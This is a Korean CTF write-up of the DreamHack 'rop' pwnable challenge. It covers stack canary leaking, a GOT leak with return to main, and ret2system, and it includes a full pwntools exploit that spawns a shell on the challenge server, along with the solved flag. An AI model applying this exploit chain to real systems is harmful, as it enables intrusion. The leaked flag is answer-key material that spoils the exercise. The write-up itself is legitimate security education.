[๐Ÿฅ‰ Bronze 2] ์นด๋‚˜๋ฆฌ leak + GOT leak๋กœ ret2main, ๊ทธ๋ฆฌ๊ณ  ret2system โ€” DreamHack rop ํ’€์ด

2026-07-03ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ์นด๋‚˜๋ฆฌ leak + GOT leak๋กœ ret2main, ๊ทธ๋ฆฌ๊ณ  ret2system โ€” DreamHack rop ํ’€์ด

์Šคํƒ ์นด๋‚˜๋ฆฌ์— NX๊นŒ์ง€ ์ผœ์ง„ ํด๋ž˜์‹ ROP ๋ฌธ์ œ. ์ž…๋ ฅ ๊ธฐํšŒ๋Š” ๋”ฑ ๋‘ ๋ฒˆ๋ฟ์ด๋ผ ์…ธ์ฝ”๋“œ๋„, ๋‘ ๋ฒˆ์งธ ํŽ˜์ด๋กœ๋“œ๋„ ๋ชป ๋„ฃ๋Š”๋‹ค. ์นด๋‚˜๋ฆฌ๋ฅผ leakํ•œ ๋’ค ์ฒซ ROP ์ฒด์ธ์œผ๋กœ GOT์—์„œ libc ์ฃผ์†Œ๋ฅผ ์ƒˆ๊ณ , ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ main() ์ž์‹ ์œผ๋กœ ๋˜๋Œ๋ ค "์„ธ ๋ฒˆ์งธ ์ž…๋ ฅ"์„ ๋งŒ๋“ค์–ด๋‚ธ ๋‹ค์Œ system("/bin/sh")๋กœ ๋งˆ๋ฌด๋ฆฌํ•œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” rop ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

์ด๋ฆ„๋ถ€ํ„ฐ "rop"๋‹ค. ๋“œ๋ฆผํ•ต ์‹œ์Šคํ…œ ํ•ดํ‚น ์ปค๋ฆฌํ˜๋Ÿผ์—์„œ ROP(Return Oriented Programming)๋ฅผ ์ฒ˜์Œ ์—ฐ์Šต์‹œํ‚ค๋Š” ๋ฌธ์ œ๋ผ ๊ตฐ๋”๋”๊ธฐ๊ฐ€ ์—†๋‹ค. NX๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ฆด ์ˆ˜ ์—†๊ณ , ์Šคํƒ ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ์žˆ์–ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋ƒฅ ๋ฎ์„ ์ˆ˜๋„ ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ž…๋ ฅ ๋ฐ›๋Š” ์ง€์ ์€ ๋”ฑ ๋‘ ๋ฒˆ๋ฟ์ด๋‹ค. ์นด๋‚˜๋ฆฌ leak์— ํ•œ ๋ฒˆ, ์ง„์งœ ๊ณต๊ฒฉ์— ํ•œ ๋ฒˆ โ€” ์ด ๋‘ ๋ฒˆ ์•ˆ์—์„œ libc ์ฃผ์†Œ๊นŒ์ง€ ์ƒˆ์–ด ๋‚ด์•ผ ํ•˜๋‹ˆ, ๊ทธ ์•ˆ์— ์–ด๋–ป๊ฒŒ "์žฌ์ง„์ž…"์„ ์šฑ์—ฌ๋„ฃ๋А๋ƒ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.

์Šคํƒ ๋ ˆ์ด์•„์›ƒ๊ณผ 2๋‹จ ROP ์ฒด์ธ ํ•œ๋ˆˆ์—
์Šคํƒ ๋ ˆ์ด์•„์›ƒ๊ณผ 2๋‹จ ROP ์ฒด์ธ ํ•œ๋ˆˆ์—


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…rop
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต64๋น„ํŠธ ELF rop + ์†Œ์Šค rop.c + libc.so.6 + ์›๊ฒฉ ์„œ๋ฒ„
๋ณดํ˜ธ ๊ธฐ๋ฒ•NX on ยท Stack Canary on ยท PIE off ยท Partial RELRO
ํ•ต์‹ฌ ๊ธฐ๋ฒ•canary LSB leak โ†’ ROP#1(GOT leak) โ†’ ret2main โ†’ ROP#2 system("/bin/sh")

ํ’€์ด ํ๋ฆ„: โ‘  ์†Œ์Šค๋ฅผ ๋ณด๋ฉด read ๋‘ ๋ฒˆ์ด ๋์ด๋ผ๋Š” ๊ฒŒ ๋ณด์ธ๋‹ค โ†’ โ‘ก 1์ฐจ ์ž…๋ ฅ์œผ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ leakํ•œ๋‹ค โ†’ โ‘ข 2์ฐจ ์ž…๋ ฅ์—์„œ puts(GOT[puts])๋กœ libc ์‹ค์ฃผ์†Œ๋ฅผ ์ƒˆ๊ณ , ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ main ์ž์‹ ์œผ๋กœ ๋Œ๋ ค ํ”„๋กœ๊ทธ๋žจ์„ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ๋Œ๋ฆฐ๋‹ค โ†’ โ‘ฃ ์žฌ์ง„์ž…ํ•œ main์—์„œ ๊ฐ™์€ ์นด๋‚˜๋ฆฌ๋กœ ์ด๋ฒˆ์—” system("/bin/sh")๋ฅผ ํƒœ์›Œ ์…ธ์„ ์žก๋Š”๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” NX๊ฐ€ ์ผœ์ง€๋ฉด ์™œ ROP์ธ๊ฐ€

์…ธ์ฝ”๋“œ ์ธ์ ์…˜์€ ์Šคํƒ ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์˜์—ญ์— ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ธฐ๊ณ„์–ด๋ฅผ ์˜ฌ๋ ค๋‘๊ณ  ๊ฑฐ๊ธฐ๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ๋Œ๋ฆฌ๋Š” ๊ณต๊ฒฉ์ด๋‹ค. NX(No-eXecute) ๋น„ํŠธ๋Š” ๊ทธ ๋ฐ์ดํ„ฐ ์˜์—ญ์˜ ์‹คํ–‰ ๊ถŒํ•œ ์ž์ฒด๋ฅผ ๊บผ๋ฒ„๋ ค์„œ ์ด ๊ณต๊ฒฉ์„ ์›์ฒœ ์ฐจ๋‹จํ•œ๋‹ค.

๋Œ€์‹  ์‹คํ–‰ ๊ถŒํ•œ์ด ๋‚จ์•„ ์žˆ๋Š” ๊ณณ์€ ๋”ฑ ํ•˜๋‚˜, ์›๋ž˜ ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” .text ์˜์—ญ์ด๋‹ค. ROP๋Š” ์—ฌ๊ธฐ์„œ ์ด๋ฏธ ์กด์žฌํ•˜๋Š” ๋ช…๋ น์–ด ์กฐ๊ฐ๋“ค("๊ฐ€์ ฏ")์„ ์Šคํƒ์— ๋Š˜์–ด๋†“์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋กœ ์ด์–ด ๋ถ™์—ฌ, ์ƒˆ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์ง€ ์•Š๊ณ ๋„ ์›ํ•˜๋Š” ๋™์ž‘์„ ์กฐ๋ฆฝํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋‹ค. ๊ฐ€์ ฏ ํ•˜๋‚˜ํ•˜๋‚˜๋Š” pop rdi ; ret์ฒ˜๋Ÿผ ๋ช‡ ๋ฐ”์ดํŠธ ์•ˆ ๋˜๋Š” ์กฐ๊ฐ์ด๊ณ , ๋งˆ์ง€๋ง‰์ด ํ•ญ์ƒ ret์œผ๋กœ ๋๋‚˜์•ผ ๋‹ค์Œ ๊ฐ€์ ฏ์œผ๋กœ ๋„˜์–ด๊ฐ„๋‹ค. ret์ด ์Šคํƒ ๋งจ ์œ„ ๊ฐ’์„ ๊บผ๋‚ด ๊ทธ๋ฆฌ๋กœ ์ ํ”„ํ•˜๋Š” ๊ฑธ ๋ฐ˜๋ณต ์ด์šฉํ•˜๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜ ํ˜ธ์ถœ๊นŒ์ง€ ์ฒด์ด๋‹ํ•ด์•ผ ํ•ด์„œ, pop rdi ; ret ๊ฐ€์ ฏ์œผ๋กœ ์ธ์ž๋ฅผ ์ฑ„์šด ๋’ค PLT ํ•จ์ˆ˜๋ฅผ ๋ถ€๋ฅด๋Š” ์ „ํ˜•์ ์ธ ํ•จ์ˆ˜ ํ˜ธ์ถœํ˜• ROP๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์†Œ์Šค๋Š” 24์ค„์ด ์ „๋ถ€๋‹ค.

int main() {
  char buf[0x30];
 
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
 
  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
 
  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
 
  return 0;
}

buf[0x30](48๋ฐ”์ดํŠธ)์— read๋กœ ์ตœ๋Œ€ 0x100(256๋ฐ”์ดํŠธ)์„ ๋ฐ›์œผ๋‹ˆ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ํ™•์ •์ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ •์ž‘ ์ž…๋ ฅ ์ง€์ ์€ [1]๊ณผ [2], ๋”ฑ ๋‘ ๋ฒˆ์ด๊ณ  [2]์˜ read ๋’ค์—” ๋ฐ”๋กœ return์ด๋‹ค. ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ฆด ์‹คํ–‰ ๊ถŒํ•œ๋„ ์—†๊ณ , ํŽ˜์ด๋กœ๋“œ๋ฅผ ์—ฌ๋Ÿฌ ๋‹จ๊ณ„๋กœ ๋‚˜๋ˆ  ๋ณด๋‚ผ ๊ธฐํšŒ๋„ ์—†๋‹ค โ€” ์ด๋ฒˆ ํ•œ ๋ฐฉ์˜ ROP ์ฒด์ธ ์•ˆ์— libc leak๊ณผ ์…ธ๊นŒ์ง€ ๋‹ค ํƒœ์›Œ์•ผ ํ•œ๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ•๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

file rop; echo; pwn checksec ./rop

file + checksec โ€” NX on, Canary found, PIE off
file + checksec โ€” NX on, Canary found, PIE off

NX enabled, Canary found, PIE off(0x400000 ๊ณ ์ •). PIE๊ฐ€ ๊บผ์ ธ ์žˆ๋‹ค๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค โ€” ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ ๊ฐ€์ ฏยทPLTยทGOT ์ฃผ์†Œ๋Š” ์žฌ์‹คํ–‰ํ•ด๋„ ํ•ญ์ƒ ๊ฐ™๋‹ค๋Š” ๋œป์ด๋ผ, ๋กœ์ปฌ์—์„œ ๊ตฌํ•œ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ์— ์จ๋„ ๋œ๋‹ค.

main์„ ๋””์Šค์–ด์…ˆ๋ธ”ํ•ด์„œ ์ •ํ™•ํ•œ ์Šคํƒ ๋ฐฐ์น˜๋ฅผ ํ™•์ธํ•œ๋‹ค.

objdump -d -M intel --start-address=0x4006f7 --stop-address=0x4007e3 rop | \
sed -E \
  -e 's/(sub    rsp,0x40)/\1     <-- buf ํ”„๋ ˆ์ž„(rbp-0x40)/' \
  -e 's/(mov    QWORD PTR \[rbp-0x8\],rax)/\1  <-- ์นด๋‚˜๋ฆฌ ์ €์žฅ(rbp-0x8)/' \
  -e 's/(lea    rax,\[rbp-0x40\])/\1     <-- buf ์‹œ์ž‘ = rbp-0x40/' \
  -e 's/(call   4005f0 <read@plt>)/\1  <-- read(0, buf, 0x100)/' \
  -e 's/(call   4005e0 <printf@plt>)/\1  <-- canary leak ํ†ต๋กœ/' \
  -e 's/(call   4005d0 <__stack_chk_fail@plt>)/\1  <-- ์นด๋‚˜๋ฆฌ ๋ถˆ์ผ์น˜์‹œ/' \
  > main_disasm_annotated.txt

main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf(rbp-0x40), canary(rbp-0x8), read/printf ์œ„์น˜
main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf(rbp-0x40), canary(rbp-0x8), read/printf ์œ„์น˜

sub rsp,0x40์œผ๋กœ ํ”„๋ ˆ์ž„์ด 0x40(64๋ฐ”์ดํŠธ)์ด๊ณ  ์นด๋‚˜๋ฆฌ๋Š” [rbp-0x8],rax์— ์ €์žฅ๋œ๋‹ค. buf๊ฐ€ rbp-0x40์ด๋‹ˆ **buf ์‹œ์ž‘๋ถ€ํ„ฐ ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ๊ฑฐ๋ฆฌ๋Š” 0x40 - 0x8 = 0x38(56๋ฐ”์ดํŠธ)**๋‹ค. ๊ทธ ๋’ค๋กœ saved rbp 8๋ฐ”์ดํŠธ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ๊ฐ€ ์ด์–ด์ง„๋‹ค.


๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” ์Šคํƒ ์นด๋‚˜๋ฆฌ์™€ leak

์นด๋‚˜๋ฆฌ๋Š” ํ•จ์ˆ˜ ์ง„์ž… ์‹œ rbp-0x8์— ๋žœ๋ค 8๋ฐ”์ดํŠธ๋ฅผ ๊น”์•„ ๋‘๊ณ  ํ•จ์ˆ˜๊ฐ€ ๋๋‚  ๋•Œ(leave; ret ์ง์ „) ๊ทธ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ์ธ์ง€ ๊ฒ€์‚ฌํ•˜๋Š” ์žฅ์น˜๋‹ค. ์–ด๊ธ‹๋‚˜๋ฉด __stack_chk_fail๋กœ ๋ฐ”๋กœ ์ฃฝ๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์œผ๋ ค๋ฉด ๊ทธ ์•ž์˜ ์นด๋‚˜๋ฆฌ๋„ ์›๋ž˜ ๊ฐ’ ๊ทธ๋Œ€๋กœ ๋‹ค์‹œ ์ฑ„์›Œ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค.

๋ฆฌ๋ˆ…์Šค glibc ์นด๋‚˜๋ฆฌ๋Š” **์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๊ฐ€ ํ•ญ์ƒ 0x00**์œผ๋กœ ๊ณ ์ •์ด๋‹ค. ์ด ๋ฌธ์ œ์˜ read๋Š” ๊ฐœํ–‰์ด๋‚˜ ๋„ ์ข…๋‹จ์„ ๋ถ™์ด์ง€ ์•Š๊ณ  ๋ฐ›์€ ๋งŒํผ๋งŒ ๊ทธ๋Œ€๋กœ ์“ฐ๋Š”๋ฐ, ๋’ค์ด์€ printf("Buf: %s\n", buf)๋Š” %s๋ผ ์ฒซ 0x00์„ ๋งŒ๋‚˜๋ฉด ์ถœ๋ ฅ์„ ๋ฉˆ์ถ˜๋‹ค. ์ฆ‰ ์ง€๊ธˆ์€ ์นด๋‚˜๋ฆฌ์˜ ๋„๋ฐ”์ดํŠธ์—์„œ ๋ง‰ํ˜€ ์•„๋ฌด๊ฒƒ๋„ ์ƒˆ์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ •ํ™•ํžˆ 0x38๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šฐ๊ณ  ํ•œ ๋ฐ”์ดํŠธ๋งŒ ๋” ๋ณด๋‚ด๋ฉด, ๊ทธ ํ•œ ๋ฐ”์ดํŠธ๊ฐ€ ์นด๋‚˜๋ฆฌ์˜ ๋„๋ฐ”์ดํŠธ ์ž๋ฆฌ๋ฅผ ๋ฎ๋Š”๋‹ค. %s๋Š” ์ด์ œ ๊ทธ ์ž๋ฆฌ์—์„œ ๋ฉˆ์ถ”์ง€ ์•Š๊ณ  ์นด๋‚˜๋ฆฌ์˜ ๋‚˜๋จธ์ง€ 7๋ฐ”์ดํŠธ๊นŒ์ง€ ๊ทธ๋Œ€๋กœ ํ˜๋ ค๋ณด๋‚ธ๋‹ค. ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๋Š” ํ•ญ์ƒ 0x00์ด๋ผ๋Š” ๊ฑธ ์•Œ๊ณ  ์žˆ์œผ๋‹ˆ ์•ž์— ๋„๋กœ ๋ถ™์ด๋ฉด ์นด๋‚˜๋ฆฌ ์ „์ฒด๊ฐ€ ๋ณต์›๋œ๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” GOT leak๋กœ ret2main, ๊ทธ๋ฆฌ๊ณ  ret2system

์นด๋‚˜๋ฆฌ๋Š” ํ™•๋ณดํ–ˆ์ง€๋งŒ ์—ฌ์ „ํžˆ ๋ฌธ์ œ๋Š” ๋‚จ๋Š”๋‹ค. ์ž…๋ ฅ์€ ์ด์ œ ํ•œ ๋ฒˆ๋ฟ์ด๊ณ ([2] Input ROP payload), ๊ทธ ๋’ค์—” ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๋ฉฐ leave; ret์œผ๋กœ ์ข…๋ฃŒ๋œ๋‹ค. ์ด ํ•œ ๋ฒˆ์˜ ROP ์ฒด์ธ ์•ˆ์—์„œ libc ์ฃผ์†Œ๋ฅผ ์ƒˆ๊ณ  ์…ธ๊นŒ์ง€ ์žก์•„์•ผ ํ•˜๋Š”๋ฐ, system()์„ ๋ถ€๋ฅด๋ ค๋ฉด ASLR๋กœ ๋งค๋ฒˆ ๋ฐ”๋€Œ๋Š” libc ๋ฒ ์ด์Šค๋ฅผ ๋จผ์ € ์•Œ์•„์•ผ ํ•œ๋‹ค.

๋‹ต์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ํ”„๋กœ๊ทธ๋žจ ์ž๊ธฐ ์ž์‹ , main()์œผ๋กœ ๋Œ๋ฆฌ๋Š” ๊ฒƒ์ด๋‹ค. main์€ ์ง€์—ญ๋ณ€์ˆ˜ยท์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๊นŒ์ง€ ํฌํ•จํ•ด ๋งค๋ฒˆ ๋˜‘๊ฐ™์ด ๋™์ž‘ํ•˜๋Š” ์ˆœ์ˆ˜ ํ•จ์ˆ˜๋ผ, ๋‹ค์‹œ ๋ถˆ๋Ÿฌ๋„ ๋ฌธ์ œ์—†์ด [1] Leak Canary๋ถ€ํ„ฐ ์žฌ์‹คํ–‰๋œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์นด๋‚˜๋ฆฌ๋Š” TLS(fs:0x28)์— ์ €์žฅ๋œ, ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘ ์‹œ ํ•œ ๋ฒˆ๋งŒ ๋ฝ‘ํžˆ๋Š” ๊ฐ’์ด๋ผ main์„ ๋ช‡ ๋ฒˆ์„ ๋‹ค์‹œ ๋ถˆ๋Ÿฌ๋„ ๋˜‘๊ฐ™๋‹ค โ€” ์ฆ‰ ํ•œ ๋ฒˆ leakํ•œ ์นด๋‚˜๋ฆฌ๋ฅผ ๋‘ ๋ฒˆ์งธ ๋ผ์šด๋“œ์—์„œ ๊ทธ๋Œ€๋กœ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด 2๋‹จ ๊ณ„ํš์ด๋‹ค.

๋ผ์šด๋“œ 1 โ€” libc ์ฃผ์†Œ leak + main ์žฌ์ง„์ž…

pop rdi ; ret     ; rdi = &puts@got
puts@plt          ; puts(GOT[puts]) โ†’ GOT์— ๋“  ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๋ฌธ์ž์—ด์ฒ˜๋Ÿผ ์ถœ๋ ฅ
main              ; ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ main์œผ๋กœ โ†’ ํ”„๋กœ๊ทธ๋žจ์ด ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ์‹œ์ž‘

puts(ptr)๋Š” ptr์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์„ ๋„ ์ข…๋‹จ ๋ฌธ์ž์—ด๋กœ ์ฝ์–ด ์ถœ๋ ฅํ•œ๋‹ค. GOT[puts]์—๋Š” ์ด๋ฏธ ๋ช‡ ๋ฒˆ ๋ถˆ๋ ค์„œ ๋™์  ๋ง์ปค๊ฐ€ ์‹ค์ œ libc ์ฃผ์†Œ๋กœ ์™„์ „ํžˆ ์ฑ„์›Œ๋‘” ๊ฐ’์ด ๋“ค์–ด์žˆ์œผ๋ฏ€๋กœ, ์ด ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋„˜๊ธฐ๋ฉด ๊ทธ ๊ฐ’ ์ž์ฒด๊ฐ€ ์›์‹œ ๋ฐ”์ดํŠธ๋กœ ์ถœ๋ ฅ๋œ๋‹ค. libc ํ•จ์ˆ˜ ์ฃผ์†Œ๋Š” ํ•˜์œ„ 6๋ฐ”์ดํŠธ๋งŒ ์œ ํšจํ•˜๊ณ  ์ƒ์œ„ 2๋ฐ”์ดํŠธ๊ฐ€ 0x00์ด๋ผ, puts๋Š” ๋”ฑ 6๋ฐ”์ดํŠธ๋ฅผ ๋ฑ‰๊ณ  ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ ๋ฉˆ์ถ˜๋‹ค.

๋ผ์šด๋“œ 2 โ€” system("/bin/sh")

ret               ; 16๋ฐ”์ดํŠธ ์ •๋ ฌ ๋ณด์ •์šฉ ํŒจ๋”ฉ ํ•œ ์นธ
pop rdi ; ret     ; rdi = &"/bin/sh"  (libc ์•ˆ์˜ ๋ฌธ์ž์—ด)
system            ; system("/bin/sh")

ret ํ•œ ์นธ์„ ๋ผ์›Œ ๋„ฃ๋Š” ์ด์œ ๋Š” glibc ๋‚ด๋ถ€์—์„œ system์ด SSE ๋ช…๋ น(movaps ๋“ฑ)์„ ์“ฐ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์ด ๋ช…๋ น์€ ์Šคํƒ์ด 16๋ฐ”์ดํŠธ ์ •๋ ฌ๋ผ ์žˆ์ง€ ์•Š์œผ๋ฉด ์ฃฝ๋Š”๋ฐ, ret ์ฒด์ธ์œผ๋กœ ์ง„์ž…ํ•˜๋ฉด ์‹ค์ œ call์„ ๊ฑฐ์นœ ๊ฒƒ๊ณผ ์ •๋ ฌ์ด ์–ด๊ธ‹๋‚  ์ˆ˜ ์žˆ์–ด ๋”๋ฏธ ret ํ•œ ์นธ์œผ๋กœ 8๋ฐ”์ดํŠธ๋ฅผ ๋งž์ถฐ์ค€๋‹ค.

์ด ๋‘ ๋ผ์šด๋“œ๋ฅผ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•˜๋ฉด, system("/bin/sh")๋Š” ๋‚ด๋ถ€์ ์œผ๋กœ /bin/sh -c "/bin/sh"๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์•„์„œ ์ž์‹์œผ๋กœ ์…ธ์ด ํ•˜๋‚˜ ๋” ๋œฌ๋‹ค. ๊ทธ ์…ธ์˜ stdin/stdout์ด ์†Œ์ผ“ ๊ทธ๋Œ€๋กœ๋ผ ์ดํ›„ ๋ช…๋ น์„ ํ˜๋ ค๋ณด๋‚ด๋ฉด ์›๊ฒฉ ์…ธ์ด ๋œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ ์กฐ๋ฆฝ

๊ฐ€์ ฏ์€ ROPgadget์œผ๋กœ ๋ฝ‘๋Š”๋‹ค.

ROPgadget --binary rop --only "pop|ret" | grep -E "pop rdi|: ret$"

ROPgadget โ€” pop rdi;ret ์™€ ์ •๋ ฌ์šฉ ret ๊ฐ€์ ฏ
ROPgadget โ€” pop rdi;ret ์™€ ์ •๋ ฌ์šฉ ret ๊ฐ€์ ฏ

0x400853์ด pop rdi ; ret, 0x400596์ด ๋‹จ๋… ret์ด๋‹ค. libc ์ชฝ ์˜คํ”„์…‹์€ ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”๊ณผ ๋ฌธ์ž์—ด ์œ„์น˜์—์„œ ๊ทธ๋Œ€๋กœ ๋ฝ‘๋Š”๋‹ค.

readelf -s libc.so.6 | grep -E "puts@@|system@@"
python3 -c 'print(hex(open("libc.so.6","rb").read().find(b"/bin/sh")))'

readelf ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์—์„œ puts ๋Š” 0x80ed0, system ์€ 0x50d60 ์œผ๋กœ ๋‚˜์˜ค๊ณ  ํŒŒ์ด์ฌ ํ•œ ์ค„๋กœ ์ฐพ์€ "/bin/sh" ๋ฌธ์ž์—ด์€ 0x1d8698 ์— ์žˆ๋‹ค. ROP ์ฒด์ธ์— ๊ทธ๋Œ€๋กœ ๋„ฃ์„ ์„ธ ์˜คํ”„์…‹์ด ํ•œ ํ™”๋ฉด์— ๋ชจ์˜€๋‹ค
readelf ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์—์„œ puts ๋Š” 0x80ed0, system ์€ 0x50d60 ์œผ๋กœ ๋‚˜์˜ค๊ณ  ํŒŒ์ด์ฌ ํ•œ ์ค„๋กœ ์ฐพ์€ "/bin/sh" ๋ฌธ์ž์—ด์€ 0x1d8698 ์— ์žˆ๋‹ค. ROP ์ฒด์ธ์— ๊ทธ๋Œ€๋กœ ๋„ฃ์„ ์„ธ ์˜คํ”„์…‹์ด ํ•œ ํ™”๋ฉด์— ๋ชจ์˜€๋‹ค

puts 0x80ed0, system 0x50d60, "/bin/sh" 0x1d8698. ์ด ๊ฐ’๋“ค๊ณผ pwn checksec ์ถœ๋ ฅ์—์„œ ํ™•์ธํ•œ puts@plt/GOT[puts]/main ์ฃผ์†Œ๋ฅผ pwntools์˜ ELF ๊ฐ์ฒด๋กœ ๊ทธ๋Œ€๋กœ ์ฝ์–ด์™€ ์ฒด์ธ์„ ์ง ๋‹ค.

from pwn import *
 
context.arch = "amd64"
elf = ELF("./rop")
libc = ELF("./libc.so.6")
 
pop_rdi_ret = 0x400853
ret_gadget  = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
 
BUF_TO_CANARY = 0x38  # buf(rbp-0x40) ~ canary(rbp-0x8)
 
io = remote("host3.dreamhack.games", 17758)
 
# [1] canary LSB(0x00)๋ฅผ ํ•œ ๋ฐ”์ดํŠธ๋กœ ๋ฎ์–ด %s ๊ฐ€ ๋‚˜๋จธ์ง€ 7๋ฐ”์ดํŠธ๋ฅผ ํ˜๋ฆฌ๊ฒŒ
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ")
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
 
# [2] ROP#1: puts(GOT[puts]) ๋กœ libc leak โ†’ main ์žฌ์ง„์ž…
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
 
leaked_puts = u64(io.recvline(keepends=False).ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
binsh  = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
 
# main ์žฌ์ง„์ž… โ€” [1]์€ ๊ทธ๋ƒฅ ํ˜๋ ค๋ณด๋‚ด๊ณ (์นด๋‚˜๋ฆฌ๋Š” ์žฌ์‚ฌ์šฉ), [2]์—์„œ ์ง„์งœ ROP
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"hi"); io.recvuntil(b"\n")
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
 
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
 
io.sendline(b"cat flag")
print(io.recvall(timeout=5).decode())

pop rdi๋กœ ์˜ฎ๊ธด ๊ฐ’์ด ์ •ํ™•ํžˆ GOT ์Šฌ๋กฏ์˜ ์ฃผ์†Œ(๊ทธ ์•ˆ์— ๋“  ๊ฐ’์ด ์•„๋‹ˆ๋ผ)๋ผ๋Š” ์ , read๋Š” ๊ฐœํ–‰์„ ์•ˆ ์ž๋ฅด๋‹ˆ sendline์ด ์•„๋‹ˆ๋ผ send๋กœ ์นด๋‚˜๋ฆฌ ์ž๋ฆฌ๊นŒ์ง€ ์ •ํ™•ํžˆ ๋งž์ถฐ ๋ณด๋‚ด์•ผ ํ•œ๋‹ค๋Š” ์ ๋งŒ ์กฐ์‹ฌํ•˜๋ฉด ๋‚˜๋จธ์ง€๋Š” ๊ทธ๋Œ€๋กœ ํ˜๋Ÿฌ๊ฐ„๋‹ค.


๐Ÿš€ Full Exploit

